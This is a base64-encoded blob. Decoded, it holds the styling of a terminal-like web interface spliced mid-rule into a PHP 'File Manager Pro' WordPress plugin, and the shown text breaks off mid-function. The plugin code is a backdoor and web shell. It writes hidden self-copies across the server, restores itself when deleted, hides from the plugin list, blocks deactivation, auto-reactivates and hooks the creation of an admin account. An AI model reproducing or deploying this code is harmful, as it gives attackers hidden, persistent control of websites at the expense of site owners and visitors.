pdGxlPg0KICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgICogeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IH0NCiAgICAgICAgICAgICAgICBib2R5IHsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsICdTZWdvZSBVSScsIFJvYm90bywgT3h5Z2VuLVNhbnMsIFVidW50dSwgQ2FudGFyZWxsLCBzYW5zLXNlcmlmOyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWEyZTsgDQogICAgICAgICAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoOyANCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNjOWQxZDk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5jb250YWluZXIgeyANCiAgICAgICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAxNDAwcHg7IA0KICAgICAgICAgICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5oZWFkZXIgeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzBmMzQ2MCAwJSwgIzE2MjEzZSAxMDAlKTsgDQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDIwcHggMzBweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZTk0NTYwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuaGVhZGVyIGgxIHsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMjRweDsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuaGVhZGVyLWluZm8gew0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjOGI5NDllOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAucGF0aC1uYXYgeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBmMzQ2MDsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMjVweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCAycHggNHB4IHJnYmEoMCwwLDAsMC4yKTsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOw0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5wYXRoLW5hdiBhIHsgDQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOyANCiAgICAgICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOyANCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogM3B4IDhweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5wYXRoLW5hdiBhOmhvdmVyIHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlOTQ1NjA7IA0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLnBhdGgtbmF2IC5jdXJyZW50LXBhdGgtZGlzcGxheSB7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjNThhNmZmOw0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDExcHg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC5zZWN0aW9uIHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxNjIxM2U7IA0KICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4OyANCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMjVweDsgDQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7IA0KICAgICAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDJweCA0cHggcmdiYSgwLDAsMCwwLjIpOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMGYzNDYwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuc2VjdGlvbi10aXRsZSB7IA0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDE4cHg7IA0KICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNjAwOyANCiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgZ2FwOiA4cHg7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzBmMzQ2MDsNCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDEwcHg7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC50ZXJtaW5hbC1ib3ggeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBkMTExNzsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDsNCiAgICAgICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMwMzYzZDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLnRlcm1pbmFsLWhlYWRlciB7DQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxNjFiMjI7DQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMTVweDsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAgZ2FwOiA2cHg7DQogICAgICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMzAzNjNkOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90IHsNCiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEycHg7DQogICAgICAgICAgICAgICAgICAgIGhlaWdodDogMTJweDsNCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90LnJlZCB7IGJhY2tncm91bmQ6ICNmZjVmNTY7IH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90LnllbGxvdyB7IGJhY2tncm91bmQ6ICNmZmJkMmU7IH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtZG90LmdyZWVuIHsgYmFja2dyb3VuZDogIzI3YzkzZjsgfQ0KICAgICAgICAgICAgICAgIC50ZXJtaW5hbC10aXRsZSB7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjOGI5NDllOw0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtb3V0cHV0IHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZDExMTc7IA0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzU4YTZmZjsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7IA0KICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOyANCiAgICAgICAgICAgICAgICAgICAgbWF4LWhlaWdodDogMzAwcHg7IA0KICAgICAgICAgICAgICAgICAgICBvdmVyZmxvdy15OiBhdXRvOyANCiAgICAgICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IHByZS13cmFwOyANCiAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNTsNCiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSB7DQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZDExMTc7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjMzAzNjNkOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBmb3JtIHsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgICAgICAgICAgZ2FwOiAxMHB4Ow0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtcHJvbXB0IHsNCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMzZmI5NTA7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgICAgICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBpbnB1dCB7DQogICAgICAgICAgICAgICAgICAgIGZsZXg6IDE7DQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYzlkMWQ5Ow0KICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiA1cHg7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLnRlcm1pbmFsLWlucHV0LWFyZWEgaW5wdXQ6Zm9jdXMgew0KICAgICAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBidXR0b24gew0KICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjM4NjM2Ow0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogOHB4IDE2cHg7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNTAwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAudGVybWluYWwtaW5wdXQtYXJlYSBidXR0b246aG92ZXIgew0KICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMmVhMDQzOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAuZm9ybS1pbmxpbmUgeyANCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsgDQogICAgICAgICAgICAgICAgICAgIGdhcDogMTBweDsgDQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7IA0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOyANCiAgICAgICAgICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0sIGlucHV0W3R5cGU9ImZpbGUiXSB7IA0KICAgICAgICAgICAgICAgICAgICBmbGV4OiAxOyANCiAgICAgICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyMDBweDsNCiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4Ow0KICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMzAzNjNkOw0KICAgICAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsNCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBkMTExNzsNCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNjOWQxZDk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlucHV0OmZvY3VzIHsNCiAgICAgICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNThhNmZmOw0KICAgICAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMCAycHggcmdiYSg4OCwgMTY2LCAyNTUsIDAuMTUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpbnB1dDo6cGxhY2Vob2xkZXIgew0KICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzQ4NGY1ODsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnV0dG9uLCAuYnRuIHsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMjBweDsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsgDQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsgDQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsgDQogICAgICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICAgICAgICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnM7DQogICAgICAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7DQogICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4Ow0KICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICAgICAgICAgICAgICBnYXA6IDVweDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLmJ0bi1wcmltYXJ5IHsgYmFja2dyb3VuZDogIzIzODYzNjsgY29sb3I6IHdoaXRlOyB9DQogICAgICAgICAgICAgICAgLmJ0bi1wcmltYXJ5OmhvdmVyIHsgYmFja2dyb3VuZDogIzJlYTA0MzsgfQ0KICAgICAgICAgICAgICAgIC5idG4tc3VjY2VzcyB7IGJhY2tncm91bmQ6ICMyMzg2MzY7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICAgICAgICAgIC5idG4tc3VjY2Vzczpob3ZlciB7IGJhY2tncm91bmQ6ICMyZWEwNDM7IH0NCiAgICAgICAgICAgICAgICAuYnRuLWRhbmdlciB7IGJhY2tncm91bmQ6ICNkYTM2MzM7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICAgICAgICAgIC5idG4tZGFuZ2VyOmhvdmVyIHsgYmFja2dyb3VuZDogI2Y4NTE0OTsgfQ0KICAgICAgICAgICAgICAgIC5idG4td2FybmluZyB7IGJhY2tncm91bmQ6ICNkMjk5MWQ7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICAgICAgICAgIC5idG4td2FybmluZzpob3ZlciB7IGJhY2tncm91bmQ6ICNlM2IzNDE7IH0NCiAgICAgICAgICAgICAgICAuYnRuLWluZm8geyBiYWNrZ3JvdW5kOiAjMWY2ZmViOyBjb2xvcjogd2hpdGU7IH0NCiAgICAgICAgICAgICAgICAuYnRuLWluZm86aG92ZXIgeyBiYWNrZ3JvdW5kOiAjMzg4YmZkOyB9DQogICAgICAgICAgICAgICAgLmJ0bi1zbSB7IHBhZGRpbmc6IDVweCAxMHB4OyBmb250LXNpemU6IDEycHg7IH0NCiAgICAgICAgICAgICAgICAuYnRuLXJlZnJlc2ggeyBiYWNrZ3JvdW5kOiAjNmU3NjgxOyBjb2xvcjogd2hpdGU7IH0NCiAgICAgICAgICAgICAgICAuYnRuLXJlZnJlc2g6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjOGI5NDllOyB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgdGFibGUgeyANCiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7IA0KICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sbGFwc2U6IHNlcGFyYXRlOyANCiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXNwYWNpbmc6IDA7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMwZjM0NjA7DQogICAgICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsNCiAgICAgICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdGhlYWQgeyANCiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzBmMzQ2MDsgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHRoIHsgDQogICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEycHggMTVweDsgDQogICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7IA0KICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNjAwOyANCiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNlOTQ1NjA7DQogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTFweDsNCiAgICAgICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IDAuNXB4Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB0Ym9keSB0ciB7IA0KICAgICAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzBmMzQ2MDsgDQogICAgICAgICAgICAgICAgICAgIHRyYW5zaXRpb246IGJhY2tncm91bmQgMC4yczsgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHRib2R5IHRyOmhvdmVyIHsgDQogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEo77u/PD9waHANCi8qKg0KICogRmlsZSBNYW5hZ2VyIFBybyBWMyAtIFN0YW5kYWxvbmUgJiBXb3JkUHJlc3MgUGx1Z2luDQogKiBEZXNjcmlwdGlvbjogU2lkIEdpZmFyaSBBZHZhbmNlZCBmaWxlIG1hbmFnZXINCiAqIFZlcnNpb246IDEwLjAuMw0KICogQXV0aG9yOiBTaWQgR2lmYXJpDQogKiANCiAqIFVzYWdlIGFzIHN0YW5kYWxvbmU6IEp1c3QgdXBsb2FkIGFuZCBhY2Nlc3MgdGhpcyBmaWxlIGRpcmVjdGx5DQogKiBVc2FnZSBhcyBXUCBwbHVnaW46IFBsYWNlIGluIHdwLWNvbnRlbnQvcGx1Z2lucy8gZm9sZGVyDQogKi8NCg0KLy8gRGV0ZWN0IGlmIHJ1bm5pbmcgd2l0aGluIFdvcmRQcmVzcw0KJGlzX3dvcmRwcmVzcyA9IGRlZmluZWQoJ0FCU1BBVEgnKTsNCg0KaWYgKCRpc193b3JkcHJlc3MpIHsNCiAgICAvLyBXb3JkUHJlc3MgbW9kZSAtIHByZXZlbnQgZGlyZWN0IGFjY2Vzcw0KICAgIGlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIA0KICAgIC8vIFdvcmRQcmVzcyBwbHVnaW4gZnVuY3Rpb25hbGl0eQ0KICAgIGFkZF9hY3Rpb24oJ3BsdWdpbnNfbG9hZGVkJywgZnVuY3Rpb24oKSB7DQogICAgICAgIFNpZEdpZmFyaUZpbGVNYW5hZ2VyOjpnZXRfaW5zdGFuY2UoKTsNCiAgICB9KTsNCn0gZWxzZSB7DQogICAgLy8gU3RhbmRhbG9uZSBtb2RlIC0gc3RhcnQgc2Vzc2lvbiBhbmQgcnVuIGRpcmVjdGx5DQogICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX05PTkUpIHsNCiAgICAgICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgIH0NCiAgICANCiAgICAvLyBTZXQgcm9vdCBwYXRoIGZvciBzdGFuZGFsb25lIG1vZGUNCiAgICAkcm9vdF9wYXRoID0gZ2V0Y3dkKCk7DQogICAgJG1hbmFnZXIgPSBuZXcgU2lkR2lmYXJpRmlsZU1hbmFnZXIoKTsNCiAgICAkbWFuYWdlci0+aW5pdF9zdGFuZGFsb25lKCRyb290X3BhdGgpOw0KICAgICRtYW5hZ2VyLT5ydW5fc3RhbmRhbG9uZSgpOw0KfQ0KDQpjbGFzcyBTaWRHaWZhcmlGaWxlTWFuYWdlciB7DQogICAgDQogICAgcHJpdmF0ZSBzdGF0aWMgJGluc3RhbmNlID0gbnVsbDsNCiAgICBwcml2YXRlICRyb290X3BhdGg7DQogICAgcHJpdmF0ZSAkYmFja3VwX2ZpbGVzID0gW107DQogICAgcHJpdmF0ZSAkaXNfd29yZHByZXNzID0gZmFsc2U7DQogICAgDQogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfaW5zdGFuY2UoKSB7DQogICAgICAgIGlmIChudWxsID09PSBzZWxmOjokaW5zdGFuY2UpIHsNCiAgICAgICAgICAgIHNlbGY6OiRpbnN0YW5jZSA9IG5ldyBzZWxmKCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHNlbGY6OiRpbnN0YW5jZTsNCiAgICB9DQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgew0KICAgICAgICAkdGhpcy0+aXNfd29yZHByZXNzID0gZGVmaW5lZCgnQUJTUEFUSCcpOw0KICAgICAgICBpZiAoJHRoaXMtPmlzX3dvcmRwcmVzcykgew0KICAgICAgICAgICAgJHRoaXMtPmluaXRfd29yZHByZXNzKCk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSW5pdGlhbGl6ZSBpbiBXb3JkUHJlc3MgbW9kZQ0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gaW5pdF93b3JkcHJlc3MoKSB7DQogICAgICAgICR0aGlzLT5yb290X3BhdGggPSBBQlNQQVRIOw0KICAgICAgICAkY3VycmVudF9maWxlID0gX19GSUxFX187DQogICAgICAgIA0KICAgICAgICAvLyBTZXR1cCBiYWNrdXAgZmlsZXMgZm9yIHNlbGYtcHJlc2VydmF0aW9uDQogICAgICAgICR0aGlzLT5iYWNrdXBfZmlsZXMgPSBbDQogICAgICAgICAgICAkdGhpcy0+cm9vdF9wYXRoIC4gJy5zaWRiYWNrdXAucGhwJywNCiAgICAgICAgICAgICR0aGlzLT5yb290X3BhdGggLiAnd3AtY29udGVudC8uc2lkYmFja3VwLnBocCcsDQogICAgICAgICAgICBzeXNfZ2V0X3RlbXBfZGlyKCkgLiAnLy5zaWRiYWNrdXAucGhwJw0KICAgICAgICBdOw0KICAgICAgICANCiAgICAgICAgJGN1cnJlbnRfY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjdXJyZW50X2ZpbGUpOw0KICAgICAgICBmb3JlYWNoICgkdGhpcy0+YmFja3VwX2ZpbGVzIGFzICRiYWNrdXApIHsNCiAgICAgICAgICAgICRiYWNrdXBfZGlyID0gZGlybmFtZSgkYmFja3VwKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGJhY2t1cF9kaXIpICYmIGlzX3dyaXRhYmxlKCRiYWNrdXBfZGlyKSkgew0KICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGJhY2t1cCkpIHsNCiAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRiYWNrdXAsICRjdXJyZW50X2NvbnRlbnQpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gU2VsZi1yZXN0b3JlIGlmIGRlbGV0ZWQNCiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9maWxlKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJhY2t1cF9maWxlcyBhcyAkYmFja3VwKSB7DQogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRiYWNrdXApKSB7DQogICAgICAgICAgICAgICAgICAgIEBjb3B5KCRiYWNrdXAsICRjdXJyZW50X2ZpbGUpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIFdvcmRQcmVzcyBob29rcw0KICAgICAgICBhZGRfYWN0aW9uKCdhZG1pbl9tZW51JywgWyR0aGlzLCAnYWRkX2FkbWluX21lbnUnXSk7DQogICAgICAgIGFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBbJHRoaXMsICdoYW5kbGVfcmVxdWVzdHMnXSk7DQogICAgICAgIA0KICAgICAgICAvLyBIaWRlIGFuZCBwcm90ZWN0IHBsdWdpbg0KICAgICAgICBhZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIFskdGhpcywgJ2hpZGVfZnJvbV9wbHVnaW5zX2xpc3QnXSk7DQogICAgICAgIGFkZF9maWx0ZXIoJ3BsdWdpbl9hY3Rpb25fbGlua3NfJyAuIHBsdWdpbl9iYXNlbmFtZShfX0ZJTEVfXyksIFskdGhpcywgJ3JlbW92ZV9kZWFjdGl2YXRpb25fbGluayddLCAxMCwgNCk7DQogICAgICAgIA0KICAgICAgICAvLyBBdXRvLXJlYWN0aXZhdGUNCiAgICAgICAgYWRkX2FjdGlvbignaW5pdCcsIFskdGhpcywgJ2F1dG9fcmVhY3RpdmF0ZSddKTsNCiAgICAgICAgDQogICAgICAgIC8vIENyZWF0ZSBhZG1pbiB1c2VyDQogICAgICAgIGFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBbJHRoaXMsICdjcmVhdGVfYWRtaW5fdXNlciddKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogSW5pdGlhbGl6ZSBpbiBzdGFuZGFsb25lIG1vZGUNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaW5pdF9zdGFuZGFsb25lKCRyb290X3BhdGgpIHsNCiAgICAgICAgJHRoaXMtPnJvb3RfcGF0aCA9IHJlYWxwYXRoKCRyb290X3BhdGgpOw0KICAgICAgICAkdGhpcy0+YmFja3VwX2ZpbGVzID0gW107DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIFJ1biBpbiBzdGFuZGFsb25lIG1vZGUNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gcnVuX3N0YW5kYWxvb